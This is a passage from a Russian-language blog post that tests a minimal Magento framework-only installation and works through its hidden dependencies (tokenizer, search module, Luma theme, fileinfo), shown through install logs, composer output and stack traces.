ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers HIGH:!aNULL:!MD5; set $MAGE_ROOT /var/www/magento-framework-check; include /var/www/magento-framework-check/nginx.conf.sample; } ``` Чекаем, что работает: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9db/a9d/e19/9dba9de19669cc4646ef04408bc85bc5.png)Создаем БД: ``` MariaDB [(none)]> create database magento_framework_check; Query OK, 1 row affected (0.000 sec) ``` Приступаем к установке: ``` taras@taras-home:/var/www/magento-framework-check$ bin/magento setup:install \ > --base-url=https://magento-framework-check.loc \ > --db-host=localhost \ > --db-name=magento_framework_check \ > --db-user=root \ > --db-password=***** \ > --backend-frontname=admin \ > --admin-firstname=admin \ > --admin-lastname=admin \ > --admin-email=admin@admin.com \ > --admin-user=tkovrijenko \ > --admin-password=****** \ > --language=en_US \ > --currency=USD \ > --timezone=Europe/Kiev \ > --use-rewrites=1 Starting Magento installation: File permissions check... [Progress: 1 / 234] Required extensions check... [Progress: 2 / 234] Enabling Maintenance Mode... [Progress: 3 / 234] Installing deployment configuration... PHP Fatal error: Uncaught Error: Call to undefined function Magento\Framework\App\DeploymentConfig\token_get_all() in /var/www/magento-framework-check/vendor/magento/framework/App/DeploymentConfig/CommentParser.php:75 Stack trace: #0 /var/www/magento-framework-check/vendor/magento/framework/App/DeploymentConfig/Writer.php(131): Magento\Framework\App\DeploymentConfig\CommentParser->execute() #1 /var/www/magento-framework-check/setup/src/Magento/Setup/Model/ConfigModel.php(118): Magento\Framework\App\DeploymentConfig\Writer->saveConfig() #2 /var/www/magento-framework-check/setup/src/Magento/Setup/Model/Installer.php(580): Magento\Setup\Model\ConfigModel->process() #3 [internal function]: Magento\Setup\Model\Installer->installDeploymentConfig() #4 /var/www/magento-framework-check/setup/src/Magento/Setup/Model/Installer.php(389): call_user_func_array() #5 /var/www/magento-framework-check/setup/src/Magento/Setup/Console/Command/InstallCommand.php(231): Magento\Setup\Model\Installer->install() #6 /var/www/magento-framework-check/ve in /var/www/magento-framework-check/vendor/magento/framework/App/DeploymentConfig/CommentParser.php on line 75 ``` Похоже, еще одна необъявленная зависимость - на этот раз от модуля PHP tokenizer. Включаем... Starting Magento Installation ``` Starting Magento installation: File permissions check... [Progress: 1 / 234] Required extensions check... [Progress: 2 / 234] Enabling Maintenance Mode... [Progress: 3 / 234] Installing deployment configuration... [Progress: 4 / 234] Installing database schema: Schema creation/updates: Module 'Magento_Store': [Progress: 5 / 234] Module 'Magento_Directory': [Progress: 6 / 234] Module 'Magento_Config': [Progress: 7 / 234] Module 'Magento_Backup': [Progress: 8 / 234] Module 'Magento_Theme': [Progress: 9 / 234] Module 'Magento_Eav': [Progress: 10 / 234] Module 'Magento_Customer': [Progress: 11 / 234] Module 'Magento_CatalogImportExport': [Progress: 12 / 234] Module 'Magento_Indexer': [Progress: 13 / 234] Module 'Magento_Variable': [Progress: 14 / 234] Module 'Magento_Cms': [Progress: 15 / 234] Module 'Magento_Catalog': [Progress: 16 / 234] Module 'Magento_Payment': [Progress: 17 / 234] Module 'Magento_CmsUrlRewrite': [Progress: 18 / 234] Module 'Magento_Backend': [Progress: 19 / 234] Module 'Magento_Contact': [Progress: 20 / 234] Module 'Magento_Cron': [Progress: 21 / 234] Module 'Magento_Bundle': [Progress: 22 / 234] Module 'Magento_Deploy': [Progress: 23 / 234] Module 'Magento_Developer': [Progress: 24 / 234] Module 'Magento_Authorization': [Progress: 25 / 234] Module 'Magento_Downloadable': [Progress: 26 / 234] Module 'Magento_Quote': [Progress: 27 / 234] Module 'Magento_Email': [Progress: 28 / 234] Module 'Magento_Rule': [Progress: 29 / 234] Module 'Magento_ImportExport': [Progress: 30 / 234] Module 'Magento_CatalogRule': [Progress: 31 / 234] Module 'Magento_Security': [Progress: 32 / 234] Module 'Magento_MediaStorage': [Progress: 33 / 234] Module 'Magento_Msrp': [Progress: 34 / 234] Module 'Magento_Widget': [Progress: 35 / 234] Module 'Magento_PageCache': [Progress: 36 / 234] Module 'Magento_SalesSequence': [Progress: 37 / 234] Module 'Magento_ProductAlert': [Progress: 38 / 234] Module 'Magento_Sales': [Progress: 39 / 234] Module 'Magento_Reports': [Progress: 40 / 234] Module 'Magento_RequireJs': [Progress: 41 / 234] Module 'Magento_Review': [Progress: 42 / 234] Module 'Magento_Rss': [Progress: 43 / 234] Module 'Magento_GiftMessage': [Progress: 44 / 234] Module 'Magento_CatalogInventory': [Progress: 45 / 234] Module 'Magento_SalesRule': [Progress: 46 / 234] Module 'Magento_Checkout': [Progress: 47 / 234] Module 'Magento_User': [Progress: 48 / 234] Module 'Magento_Ui': [Progress: 49 / 234] Module 'Magento_AsynchronousOperations': [Progress: 50 / 234] Module 'Magento_Tax': [Progress: 51 / 234] Module 'Magento_CatalogUrlRewrite': [Progress: 52 / 234] Module 'Magento_Translation': [Progress: 53 / 234] Module 'Magento_Shipping': [Progress: 54 / 234] Module 'Magento_UrlRewrite': [Progress: 55 / 234] Module 'Magento_Integration': [Progress: 56 / 234] Module 'Magento_Captcha': [Progress: 57 / 234] Module 'Magento_Newsletter': [Progress: 58 / 234] Module 'Magento_Wishlist': [Progress: 59 / 234] Schema post-updates: Module 'Magento_Store': [Progress: 60 / 234] Module 'Magento_Directory': [Progress: 61 / 234] Module 'Magento_Config': [Progress: 62 / 234] Module 'Magento_Backup': [Progress: 63 / 234] Module 'Magento_Theme': [Progress: 64 / 234] Module 'Magento_Eav': [Progress: 65 / 234] Module 'Magento_Customer': [Progress: 66 / 234] Module 'Magento_CatalogImportExport': [Progress: 67 / 234] Module 'Magento_Indexer': Running schema recurring... [Progress: 68 / 234] Module 'Magento_Variable': [Progress: 69 / 234] Module 'Magento_Cms': [Progress: 70 / 234] Module 'Magento_Catalog': Running schema recurring... [Progress: 71 / 234] Module 'Magento_Payment': [Progress: 72 / 234] Module 'Magento_CmsUrlRewrite': [Progress: 73 / 234] Module 'Magento_Backend': [Progress: 74 / 234] Module 'Magento_Contact': [Progress: 75 / 234] Module 'Magento_Cron': Running schema recurring... [Progress: 76 / 234] Module 'Magento_Bundle': Running schema recurring... [Progress: 77 / 234] Module 'Magento_Deploy': [Progress: 78 / 234] Module 'Magento_Developer': [Progress: 79 / 234] Module 'Magento_Authorization': [Progress: 80 / 234] Module 'Magento_Downloadable': [Progress: 81 / 234] Module 'Magento_Quote': [Progress: 82 / 234] Module 'Magento_Email': [Progress: 83 / 234] Module 'Magento_Rule': [Progress: 84 / 234] Module 'Magento_ImportExport': [Progress: 85 / 234] Module 'Magento_CatalogRule': [Progress: 86 / 234] Module 'Magento_Security': [Progress: 87 / 234] Module 'Magento_MediaStorage': [Progress: 88 / 234] Module 'Magento_Msrp': [Progress: 89 / 234] Module 'Magento_Widget': [Progress: 90 / 234] Module 'Magento_PageCache': [Progress: 91 / 234] Module 'Magento_SalesSequence': Running schema recurring... [Progress: 92 / 234] Module 'Magento_ProductAlert': Running schema recurring... [Progress: 93 / 234] Module 'Magento_Sales': [Progress: 94 / 234] Module 'Magento_Reports': Running schema recurring... [Progress: 95 / 234] Module 'Magento_RequireJs': [Progress: 96 / 234] Module 'Magento_Review': [Progress: 97 / 234] Module 'Magento_Rss': [Progress: 98 / 234] Module 'Magento_GiftMessage': [Progress: 99 / 234] Module 'Magento_CatalogInventory': Running schema recurring... [Progress: 100 / 234] Module 'Magento_SalesRule': [Progress: 101 / 234] Module 'Magento_Checkout': [Progress: 102 / 234] Module 'Magento_User': [Progress: 103 / 234] Module 'Magento_Ui': [Progress: 104 / 234] Module 'Magento_AsynchronousOperations': [Progress: 105 / 234] Module 'Magento_Tax': [Progress: 106 / 234] Module 'Magento_CatalogUrlRewrite': Running schema recurring... [Progress: 107 / 234] Module 'Magento_Translation': [Progress: 108 / 234] Module 'Magento_Shipping': [Progress: 109 / 234] Module 'Magento_UrlRewrite': [Progress: 110 / 234] Module 'Magento_Integration': Running schema recurring... [Progress: 111 / 234] Module 'Magento_Captcha': [Progress: 112 / 234] Module 'Magento_Newsletter': [Progress: 113 / 234] Module 'Magento_Wishlist': Running schema recurring... [Progress: 114 / 234] [Progress: 115 / 234] Installing search configuration... In ClassReader.php line 45: Impossible to process constructor argument Parameter #1 [ Magento\Search\Model\SearchEngine\Validator $searchValidator ] of Magento\Setup\Model\SearchConfig class In ClassReader.php line 34: Class Magento\Search\Model\SearchEngine\Validator does not exist ``` На этот раз продвинулись чуть дальше. Но с чего вдруг нам понадобился модуль поиска? А Magento конфигурирует его в \Magento\Setup\Model\SearchConfig даже не проверив, установлен ли он. Ставим: ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/module-search Using version ^101.1 for magento/module-search ./composer.json has been updated Running composer update magento/module-search Loading composer repositories with package information Updating dependencies Lock file operations: 2 installs, 0 updates, 0 removals - Locking magento/module-catalog-search (102.0.2) - Locking magento/module-search (101.1.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 2 installs, 0 updates, 0 removals - Installing magento/module-search (101.1.2): Extracting archive - Installing magento/module-catalog-search (102.0.2): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 45 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` К счастью еще 100 модулей с ним не подтянулось :) Продолжаем: Starting Magento Installation ``` Starting Magento installation: File permissions check... [Progress: 1 / 242] Required extensions check... [Progress: 2 / 242] Enabling Maintenance Mode... [Progress: 3 / 242] Installing deployment configuration... [Progress: 4 / 242] Installing database schema: Schema creation/updates: Module 'Magento_Store': [Progress: 5 / 242] Module 'Magento_Directory': [Progress: 6 / 242] Module 'Magento_Config': [Progress: 7 / 242] Module 'Magento_Backup': [Progress: 8 / 242] Module 'Magento_Theme': [Progress: 9 / 242] Module 'Magento_Eav': [Progress: 10 / 242] Module 'Magento_Customer': [Progress: 11 / 242] Module 'Magento_CatalogImportExport': [Progress: 12 / 242] Module 'Magento_Indexer': [Progress: 13 / 242] Module 'Magento_Variable': [Progress: 14 / 242] Module 'Magento_Cms': [Progress: 15 / 242] Module 'Magento_Catalog': [Progress: 16 / 242] Module 'Magento_Payment': [Progress: 17 / 242] Module 'Magento_Quote': [Progress: 18 / 242] Module 'Magento_CmsUrlRewrite': [Progress: 19 / 242] Module 'Magento_Backend': [Progress: 20 / 242] Module 'Magento_Contact': [Progress: 21 / 242] Module 'Magento_Cron': [Progress: 22 / 242] Module 'Magento_Bundle': [Progress: 23 / 242] Module 'Magento_Deploy': [Progress: 24 / 242] Module 'Magento_Developer': [Progress: 25 / 242] Module 'Magento_Authorization': [Progress: 26 / 242] Module 'Magento_Downloadable': [Progress: 27 / 242] Module 'Magento_Rule': [Progress: 28 / 242] Module 'Magento_Email': [Progress: 29 / 242] Module 'Magento_SalesSequence': [Progress: 30 / 242] Module 'Magento_ImportExport': [Progress: 31 / 242] Module 'Magento_CatalogRule': [Progress: 32 / 242] Module 'Magento_Security': [Progress: 33 / 242] Module 'Magento_MediaStorage': [Progress: 34 / 242] Module 'Magento_Msrp': [Progress: 35 / 242] Module 'Magento_Widget': [Progress: 36 / 242] Module 'Magento_PageCache': [Progress: 37 / 242] Module 'Magento_Sales': [Progress: 38 / 242] Module 'Magento_ProductAlert': [Progress: 39 / 242] Module 'Magento_CatalogInventory': [Progress: 40 / 242] Module 'Magento_Reports': [Progress: 41 / 242] Module 'Magento_RequireJs': [Progress: 42 / 242] Module 'Magento_Review': [Progress: 43 / 242] Module 'Magento_Rss': [Progress: 44 / 242] Module 'Magento_Search': [Progress: 45 / 242] Module 'Magento_GiftMessage': [Progress: 46 / 242] Module 'Magento_SalesRule': [Progress: 47 / 242] Module 'Magento_Checkout': [Progress: 48 / 242] Module 'Magento_CatalogSearch': [Progress: 49 / 242] Module 'Magento_User': [Progress: 50 / 242] Module 'Magento_Ui': [Progress: 51 / 242] Module 'Magento_AsynchronousOperations': [Progress: 52 / 242] Module 'Magento_Tax': [Progress: 53 / 242] Module 'Magento_Captcha': [Progress: 54 / 242] Module 'Magento_Translation': [Progress: 55 / 242] Module 'Magento_Shipping': [Progress: 56 / 242] Module 'Magento_UrlRewrite': [Progress: 57 / 242] Module 'Magento_Integration': [Progress: 58 / 242] Module 'Magento_CatalogUrlRewrite': [Progress: 59 / 242] Module 'Magento_Newsletter': [Progress: 60 / 242] Module 'Magento_Wishlist': [Progress: 61 / 242] Schema post-updates: Module 'Magento_Store': [Progress: 62 / 242] Module 'Magento_Directory': [Progress: 63 / 242] Module 'Magento_Config': [Progress: 64 / 242] Module 'Magento_Backup': [Progress: 65 / 242] Module 'Magento_Theme': [Progress: 66 / 242] Module 'Magento_Eav': [Progress: 67 / 242] Module 'Magento_Customer': [Progress: 68 / 242] Module 'Magento_CatalogImportExport': [Progress: 69 / 242] Module 'Magento_Indexer': Running schema recurring... [Progress: 70 / 242] Module 'Magento_Variable': [Progress: 71 / 242] Module 'Magento_Cms': [Progress: 72 / 242] Module 'Magento_Catalog': Running schema recurring... [Progress: 73 / 242] Module 'Magento_Payment': [Progress: 74 / 242] Module 'Magento_Quote': [Progress: 75 / 242] Module 'Magento_CmsUrlRewrite': [Progress: 76 / 242] Module 'Magento_Backend': [Progress: 77 / 242] Module 'Magento_Contact': [Progress: 78 / 242] Module 'Magento_Cron': Running schema recurring... [Progress: 79 / 242] Module 'Magento_Bundle': Running schema recurring... [Progress: 80 / 242] Module 'Magento_Deploy': [Progress: 81 / 242] Module 'Magento_Developer': [Progress: 82 / 242] Module 'Magento_Authorization': [Progress: 83 / 242] Module 'Magento_Downloadable': [Progress: 84 / 242] Module 'Magento_Rule': [Progress: 85 / 242] Module 'Magento_Email': [Progress: 86 / 242] Module 'Magento_SalesSequence': Running schema recurring... [Progress: 87 / 242] Module 'Magento_ImportExport': [Progress: 88 / 242] Module 'Magento_CatalogRule': [Progress: 89 / 242] Module 'Magento_Security': [Progress: 90 / 242] Module 'Magento_MediaStorage': [Progress: 91 / 242] Module 'Magento_Msrp': [Progress: 92 / 242] Module 'Magento_Widget': [Progress: 93 / 242] Module 'Magento_PageCache': [Progress: 94 / 242] Module 'Magento_Sales': [Progress: 95 / 242] Module 'Magento_ProductAlert': Running schema recurring... [Progress: 96 / 242] Module 'Magento_CatalogInventory': Running schema recurring... [Progress: 97 / 242] Module 'Magento_Reports': Running schema recurring... [Progress: 98 / 242] Module 'Magento_RequireJs': [Progress: 99 / 242] Module 'Magento_Review': [Progress: 100 / 242] Module 'Magento_Rss': [Progress: 101 / 242] Module 'Magento_Search': [Progress: 102 / 242] Module 'Magento_GiftMessage': [Progress: 103 / 242] Module 'Magento_SalesRule': [Progress: 104 / 242] Module 'Magento_Checkout': [Progress: 105 / 242] Module 'Magento_CatalogSearch': [Progress: 106 / 242] Module 'Magento_User': [Progress: 107 / 242] Module 'Magento_Ui': [Progress: 108 / 242] Module 'Magento_AsynchronousOperations': [Progress: 109 / 242] Module 'Magento_Tax': [Progress: 110 / 242] Module 'Magento_Captcha': [Progress: 111 / 242] Module 'Magento_Translation': [Progress: 112 / 242] Module 'Magento_Shipping': [Progress: 113 / 242] Module 'Magento_UrlRewrite': [Progress: 114 / 242] Module 'Magento_Integration': Running schema recurring... [Progress: 115 / 242] Module 'Magento_CatalogUrlRewrite': Running schema recurring... [Progress: 116 / 242] Module 'Magento_Newsletter': [Progress: 117 / 242] Module 'Magento_Wishlist': Running schema recurring... [Progress: 118 / 242] [Progress: 119 / 242] Installing search configuration... [Progress: 120 / 242] Installing user configuration... [Progress: 121 / 242] Enabling caches: Current status: config: 1 layout: 1 block_html: 1 collections: 1 reflection: 1 db_ddl: 1 compiled_config: 1 eav: 1 customer_notification: 1 full_page: 1 translate: 1 config_integration: 1 config_integration_api: 1 [Progress: 122 / 242] Installing data... Data install/update: Disabling caches: Current status: layout: 0 block_html: 0 full_page: 0 Module 'Magento_Store': [Progress: 123 / 242] Module 'Magento_Directory': [Progress: 124 / 242] Module 'Magento_Config': [Progress: 125 / 242] Module 'Magento_Backup': [Progress: 126 / 242] Module 'Magento_Theme': [Progress: 127 / 242] Module 'Magento_Eav': [Progress: 128 / 242] Module 'Magento_Customer': [Progress: 129 / 242] Module 'Magento_CatalogImportExport': [Progress: 130 / 242] Module 'Magento_Indexer': [Progress: 131 / 242] Module 'Magento_Variable': [Progress: 132 / 242] Module 'Magento_Cms': [Progress: 133 / 242] Module 'Magento_Catalog': [Progress: 134 / 242] Module 'Magento_Payment': [Progress: 135 / 242] Module 'Magento_Quote': [Progress: 136 / 242] Module 'Magento_CmsUrlRewrite': [Progress: 137 / 242] Module 'Magento_Backend': [Progress: 138 / 242] Module 'Magento_Contact': [Progress: 139 / 242] Module 'Magento_Cron': [Progress: 140 / 242] Module 'Magento_Bundle': [Progress: 141 / 242] Module 'Magento_Deploy': [Progress: 142 / 242] Module 'Magento_Developer': [Progress: 143 / 242] Module 'Magento_Authorization': [Progress: 144 / 242] Module 'Magento_Downloadable': [Progress: 145 / 242] Module 'Magento_Rule': [Progress: 146 / 242] Module 'Magento_Email': [Progress: 147 / 242] Module 'Magento_SalesSequence': [Progress: 148 / 242] Module 'Magento_ImportExport': [Progress: 149 / 242] Module 'Magento_CatalogRule': [Progress: 150 / 242] Module 'Magento_Security': [Progress: 151 / 242] Module 'Magento_MediaStorage': [Progress: 152 / 242] Module 'Magento_Msrp': [Progress: 153 / 242] Module 'Magento_Widget': [Progress: 154 / 242] Module 'Magento_PageCache': [Progress: 155 / 242] Module 'Magento_Sales': [Progress: 156 / 242] Module 'Magento_ProductAlert': [Progress: 157 / 242] Module 'Magento_CatalogInventory': [Progress: 158 / 242] Module 'Magento_Reports': [Progress: 159 / 242] Module 'Magento_RequireJs': [Progress: 160 / 242] Module 'Magento_Review': [Progress: 161 / 242] Module 'Magento_Rss': [Progress: 162 / 242] Module 'Magento_Search': [Progress: 163 / 242] Module 'Magento_GiftMessage': [Progress: 164 / 242] Module 'Magento_SalesRule': [Progress: 165 / 242] Module 'Magento_Checkout': [Progress: 166 / 242] Module 'Magento_CatalogSearch': [Progress: 167 / 242] Module 'Magento_User': [Progress: 168 / 242] Module 'Magento_Ui': [Progress: 169 / 242] Module 'Magento_AsynchronousOperations': [Progress: 170 / 242] Module 'Magento_Tax': [Progress: 171 / 242] Module 'Magento_Captcha': [Progress: 172 / 242] Module 'Magento_Translation': [Progress: 173 / 242] Module 'Magento_Shipping': [Progress: 174 / 242] Module 'Magento_UrlRewrite': [Progress: 175 / 242] Module 'Magento_Integration': [Progress: 176 / 242] Module 'Magento_CatalogUrlRewrite': [Progress: 177 / 242] Module 'Magento_Newsletter': [Progress: 178 / 242] Module 'Magento_Wishlist': [Progress: 179 / 242] Data post-updates: Module 'Magento_Store': [Progress: 180 / 242] Module 'Magento_Directory': [Progress: 181 / 242] Module 'Magento_Config': [Progress: 182 / 242] Module 'Magento_Backup': [Progress: 183 / 242] Module 'Magento_Theme': Running data recurring... [Progress: 184 / 242] Module 'Magento_Eav': [Progress: 185 / 242] Module 'Magento_Customer': Running data recurring... [Progress: 186 / 242] Module 'Magento_CatalogImportExport': [Progress: 187 / 242] Module 'Magento_Indexer': [Progress: 188 / 242] Module 'Magento_Variable': [Progress: 189 / 242] Module 'Magento_Cms': [Progress: 190 / 242] Module 'Magento_Catalog': [Progress: 191 / 242] Module 'Magento_Payment': [Progress: 192 / 242] Module 'Magento_Quote': [Progress: 193 / 242] Module 'Magento_CmsUrlRewrite': [Progress: 194 / 242] Module 'Magento_Backend': [Progress: 195 / 242] Module 'Magento_Contact': [Progress: 196 / 242] Module 'Magento_Cron': [Progress: 197 / 242] Module 'Magento_Bundle': [Progress: 198 / 242] Module 'Magento_Deploy': [Progress: 199 / 242] Module 'Magento_Developer': [Progress: 200 / 242] Module 'Magento_Authorization': [Progress: 201 / 242] Module 'Magento_Downloadable': [Progress: 202 / 242] Module 'Magento_Rule': [Progress: 203 / 242] Module 'Magento_Email': [Progress: 204 / 242] Module 'Magento_SalesSequence': Running data recurring... [Progress: 205 / 242] Module 'Magento_ImportExport': [Progress: 206 / 242] Module 'Magento_CatalogRule': [Progress: 207 / 242] Module 'Magento_Security': [Progress: 208 / 242] Module 'Magento_MediaStorage': [Progress: 209 / 242] Module 'Magento_Msrp': [Progress: 210 / 242] Module 'Magento_Widget': [Progress: 211 / 242] Module 'Magento_PageCache': [Progress: 212 / 242] Module 'Magento_Sales': [Progress: 213 / 242] Module 'Magento_ProductAlert': [Progress: 214 / 242] Module 'Magento_CatalogInventory': [Progress: 215 / 242] Module 'Magento_Reports': [Progress: 216 / 242] Module 'Magento_RequireJs': [Progress: 217 / 242] Module 'Magento_Review': [Progress: 218 / 242] Module 'Magento_Rss': [Progress: 219 / 242] Module 'Magento_Search': [Progress: 220 / 242] Module 'Magento_GiftMessage': [Progress: 221 / 242] Module 'Magento_SalesRule': [Progress: 222 / 242] Module 'Magento_Checkout': [Progress: 223 / 242] Module 'Magento_CatalogSearch': [Progress: 224 / 242] Module 'Magento_User': [Progress: 225 / 242] Module 'Magento_Ui': [Progress: 226 / 242] Module 'Magento_AsynchronousOperations': [Progress: 227 / 242] Module 'Magento_Tax': [Progress: 228 / 242] Module 'Magento_Captcha': [Progress: 229 / 242] Module 'Magento_Translation': [Progress: 230 / 242] Module 'Magento_Shipping': [Progress: 231 / 242] Module 'Magento_UrlRewrite': [Progress: 232 / 242] Module 'Magento_Integration': [Progress: 233 / 242] Module 'Magento_CatalogUrlRewrite': [Progress: 234 / 242] Module 'Magento_Newsletter': [Progress: 235 / 242] Module 'Magento_Wishlist': [Progress: 236 / 242] Enabling caches: Current status: layout: 1 block_html: 1 full_page: 1 [Progress: 237 / 242] Installing admin user... [Progress: 238 / 242] Caches clearing: Cache cleared successfully [Progress: 239 / 242] Disabling Maintenance Mode: [Progress: 240 / 242] Post installation file permissions check... For security, remove write permissions from these directories: '/var/www/magento-framework-check/app/etc' [Progress: 241 / 242] Write installation date... [Progress: 242 / 242] [SUCCESS]: Magento installation complete. [SUCCESS]: Magento Admin URI: /admin Nothing to import. taras@taras-home:/var/www/magento-framework-check$ ``` Можно выдохнуть. Вроде установилось. Запускаем `bin/magento deploy:mode:set developer` и пробуем зайти на сайт: ``` 1 exception(s): Exception #0 (LogicException): Unable to load theme by specified key: 'Magento/luma' Exception #0 (LogicException): Unable to load theme by specified key: 'Magento/luma' ``` #1 Magento\Theme\Model\View\Design->setDesignTheme() called at [vendor/magento/module-theme/Model/View/Design.php:212] #2 Magento\Theme\Model\View\Design->setDefaultDesignTheme() called at [vendor/magento/framework/App/Area.php:261] #3 Magento\Framework\App\Area->_initDesign() called at [vendor/magento/framework/App/Area.php:219] #4 Magento\Framework\App\Area->_loadPart() called at [vendor/magento/framework/App/Area.php:143] #5 Magento\Framework\App\Area->load() called at [vendor/magento/framework/View/DesignLoader.php:54] #6 Magento\Framework\View\DesignLoader->load() called at [vendor/magento/module-theme/Plugin/LoadDesignPlugin.php:53] #7 Magento\Theme\Plugin\LoadDesignPlugin->beforeExecute() called at [vendor/magento/framework/Interception/Interceptor.php:121] #8 Magento\Cms\Controller\Index\Index\Interceptor->Magento\Framework\Interception\{closure}() called at [vendor/magento/framework/App/Action/Plugin/ActionFlagNoDispatchPlugin.php:51] #9 Magento\Framework\App\Action\Plugin\ActionFlagNoDispatchPlugin->aroundExecute() called at [vendor/magento/framework/Interception/Interceptor.php:135] #10 Magento\Cms\Controller\Index\Index\Interceptor->Magento\Framework\Interception\{closure}() called at [vendor/magento/framework/Interception/Interceptor.php:153] #11 Magento\Cms\Controller\Index\Index\Interceptor->___callPlugins() called at [generated/code/Magento/Cms/Controller/Index/Index/Interceptor.php:23] #12 Magento\Cms\Controller\Index\Index\Interceptor->execute() called at [vendor/magento/framework/App/Action/Action.php:111] #13 Magento\Framework\App\Action\Action->dispatch() called at [vendor/magento/framework/Interception/Interceptor.php:58] #14 Magento\Cms\Controller\Index\Index\Interceptor->___callParent() called at [vendor/magento/framework/Interception/Interceptor.php:138] #15 Magento\Cms\Controller\Index\Index\Interceptor->Magento\Framework\Interception\{closure}() called at [vendor/magento/framework/Interception/Interceptor.php:153] #16 Magento\Cms\Controller\Index\Index\Interceptor->___callPlugins() called at [generated/code/Magento/Cms/Controller/Index/Index/Interceptor.php:32] #17 Magento\Cms\Controller\Index\Index\Interceptor->dispatch() called at [vendor/magento/framework/App/FrontController.php:186] #18 Magento\Framework\App\FrontController->processRequest() called at [vendor/magento/framework/App/FrontController.php:118] #19 Magento\Framework\App\FrontController->dispatch() called at [vendor/magento/framework/Interception/Interceptor.php:58] #20 Magento\Framework\App\FrontController\Interceptor->___callParent() called at [vendor/magento/framework/Interception/Interceptor.php:138] #21 Magento\Framework\App\FrontController\Interceptor->Magento\Framework\Interception\{closure}() called at [vendor/magento/module-store/App/FrontController/Plugin/RequestPreprocessor.php:99] #22 Magento\Store\App\FrontController\Plugin\RequestPreprocessor->aroundDispatch() called at [vendor/magento/framework/Interception/Interceptor.php:135] #23 Magento\Framework\App\FrontController\Interceptor->Magento\Framework\Interception\{closure}() called at [vendor/magento/module-page-cache/Model/App/FrontController/BuiltinPlugin.php:75] #24 Magento\PageCache\Model\App\FrontController\BuiltinPlugin->aroundDispatch() called at [vendor/magento/framework/Interception/Interceptor.php:135] #25 Magento\Framework\App\FrontController\Interceptor->Magento\Framework\Interception\{closure}() called at [vendor/magento/framework/Interception/Interceptor.php:153] #26 Magento\Framework\App\FrontController\Interceptor->___callPlugins() called at [generated/code/Magento/Framework/App/FrontController/Interceptor.php:23] #27 Magento\Framework\App\FrontController\Interceptor->dispatch() called at [vendor/magento/framework/App/Http.php:116] #28 Magento\Framework\App\Http->launch() called at [vendor/magento/framework/App/Bootstrap.php:263] #29 Magento\Framework\App\Bootstrap->run() called at [pub/index.php:29] ``` ``` Чем глубже в лес, тем больше дров. Почему Luma? Я бы понял, если бы оно искало тему Magento/blank, но... Действительно, в `vendor/magento/module-theme/etc/di.xml:63` явно говорится устанавливать Luma: ``` Magento/luma Magento/backend ``` Ну, где Luma, там и Blank: ``` taras@taras-home:/var/www/magento-framework-check$ composer require magento/theme-frontend-luma Using version ^100.4 for magento/theme-frontend-luma ./composer.json has been updated Running composer update magento/theme-frontend-luma Loading composer repositories with package information Updating dependencies Lock file operations: 2 installs, 0 updates, 0 removals - Locking magento/theme-frontend-blank (100.4.2) - Locking magento/theme-frontend-luma (100.4.2) Writing lock file Installing dependencies from lock file (including require-dev) Package operations: 2 installs, 0 updates, 0 removals - Installing magento/theme-frontend-blank (100.4.2): Extracting archive - Installing magento/theme-frontend-luma (100.4.2): Extracting archive Package container-interop/container-interop is abandoned, you should avoid using it. Use psr/container instead. Package laminas/laminas-console is abandoned, you should avoid using it. Use laminas/laminas-cli instead. Generating autoload files 45 packages you are using are looking for funding. Use the `composer fund` command to find out more! ``` И конечно не забываем теперь про `bin/magento setup:upgrade`. Проверяем: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1d6/788/107/1d67881076eba57f5ffabe6b7c27dd5b.png)Так-с, страница загрузилась, но есть какие-то траблы с загрузкой статических файлов. Смотрим лог и видим пачку вот таких ошибок: ``` [2021-08-06 14:34:06] main.ERROR: Notice: Trying to access array offset on value of type bool in /var/www/magento-framework-check/vendor/magento/framework/Filesystem/Driver/File/Mime.php on line 116 [] [] [2021-08-06 14:34:06] main.CRITICAL: Notice: Trying to access array offset on value of type bool in /var/www/magento-framework-check/vendor/magento/framework/Filesystem/Driver/File/Mime.php on line 116 [] [] ``` Идем в код: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/aca/846/51d/aca84651d195170cb7f67320539b210b.png)Здесь Маджента пытается работать без функции из ext-fileinfo, и это у неё явно не получается. Включаем расширение и смотрим снова: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/849/ebe/ebb/849ebeebb699d870619b508755d6680d.png)Чисто. Наконец-то. А попробуем зайти на страницу регистрации: 2 exceptions ``` 2 exception(s): Exception #0 (Magento\Framework\Exception\LocalizedException): Invalid block type: Magento\Cookie\Block\RequireCookie Exception #1 (ReflectionException): Class Magento\Cookie\Block\RequireCookie does not exist Exception #0 (Magento\Framework\Exception\LocalizedException): Invalid block type: Magento\Cookie\Block\RequireCookie ``` #1 Magento\Framework\View\Layout\Generator\Block->createBlock() called at [vendor/magento/framework/View/Layout/Generator/Block.php:229] #2 Magento\Framework\View\Layout\Generator\Block->generateBlock() called at [vendor/magento/framework/View/Layout/Generator/Block.php:134] #3 Magento\Framework\View\Layout\Generator\Block->process() called at [vendor/magento/framework/View/Layout/GeneratorPool.php:93] #4 Magento\Framework\View\Layout\GeneratorPool->process() called at [vendor/magento/framework/View/Layout.php:365] #5 Magento\Framework\View\Layout->generateElements() called at [vendor/magento/framework/Interception/Interceptor.php:58] #6 Magento\Framework\View\Layout\Interceptor->___callParent() called at [vendor/magento/framework/Interception/Interceptor.php:138] #7 Magento\Framework\View\Layout\Interceptor->Magento\Framework\Interception{closure}() called at [vendor/magento/framework/Interception/Interceptor.php:153] #8 Magento\Framework\View\Layout\Interceptor->___callPlugins() called at [generated/code/Magento/Framework/View/Layout/Interceptor.php:68] #9 Magento\Framework\View\Layout\Interceptor->generateElements() called at [vendor/magento/framework/View/Layout/Builder.php:129] #10 Magento\Framework\View\Layout\Builder->generateLayoutBlocks() called at [vendor/magento/framework/View/Page/Builder.php:65] #11 Magento\Framework\View\Page\Builder->generateLayoutBlocks() called at [vendor/magento/framework/View/Layout/Builder.php:65] #12 Magento\Framework\View\Layout\Builder->build() called at [vendor/magento/framework/View/Page/Config.php:224] #13 Magento\Framework\View\Page\Config->build() called at [vendor/magento/framework/View/Page/Config.php:237] #14 